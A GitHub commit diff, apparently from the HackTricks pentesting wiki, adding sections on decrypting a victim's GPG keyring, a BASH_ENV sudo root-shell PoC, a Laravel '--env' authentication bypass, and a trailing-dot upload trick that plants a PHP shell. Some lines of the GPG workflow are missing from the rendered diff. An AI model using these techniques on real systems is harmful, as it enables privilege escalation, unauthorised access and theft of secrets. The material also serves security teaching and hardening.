You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/linux-post-exploitation/README.md
+28-1Lines changed: 28 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -53,6 +53,33 @@ The Pluggable Authentication Module (PAM) is a system used under Linux for user
53
53
> [!TIP]
54
54
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
55
55
56
-
{{#include ../../banners/hacktricks-training.md}}
56
+
## Decrypting GPG loot via homedir relocation
57
+
58
+
If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
59
+
60
+
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
57
61
62
+
Workflow:
63
+
64
+
```bash
65
+
# 1) Stage a writable homedir and copy the victim's keyring
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
78
+
79
+
80
+
## References
81
+
82
+
-[0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
83
+
-[GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
### BASH_ENV preserved via sudo env_keep → root shell
890
+
891
+
If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
892
+
893
+
- Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.
894
+
895
+
- Requirements:
896
+
- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
897
+
- `BASH_ENV` present in`env_keep` (check with `sudo -l`).
898
+
899
+
- PoC:
900
+
901
+
```bash
902
+
cat > /dev/shm/shell.sh <<'EOF'
903
+
#!/bin/bash
904
+
/bin/bash
905
+
EOF
906
+
chmod +x /dev/shm/shell.sh
907
+
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
908
+
# You should now have a root shell
909
+
```
910
+
911
+
- Hardening:
912
+
- Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`.
913
+
- Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
914
+
- Consider sudo I/O logging and alerting when preserved env vars are used.
915
+
889
916
### Sudo execution bypassing paths
890
917
891
918
**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN`and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
96
+
When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
97
97
98
-
Key findings of the research published by Synacktiv (2024-2025):
99
-
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
100
-
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
101
-
*>1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
102
-
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
98
+
- Quick check:
99
+
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
103
100
104
-
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
101
+
- Impact example (business logic trusting a special env):
102
+
- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
103
+
-`POST /login?--env=preprod`
105
104
105
+
- Notes:
106
+
- Works per-request, no persistence.
107
+
- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
108
+
- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
109
+
110
+
- Mitigations:
111
+
- Disable `register_argc_argv` for PHP-FPM/Apache.
112
+
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
54
+
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
55
55
# Upload the file and check response how many characters it alllows. Let's say 236
Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:
65
+
66
+
- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
67
+
- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
68
+
- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
0 commit comments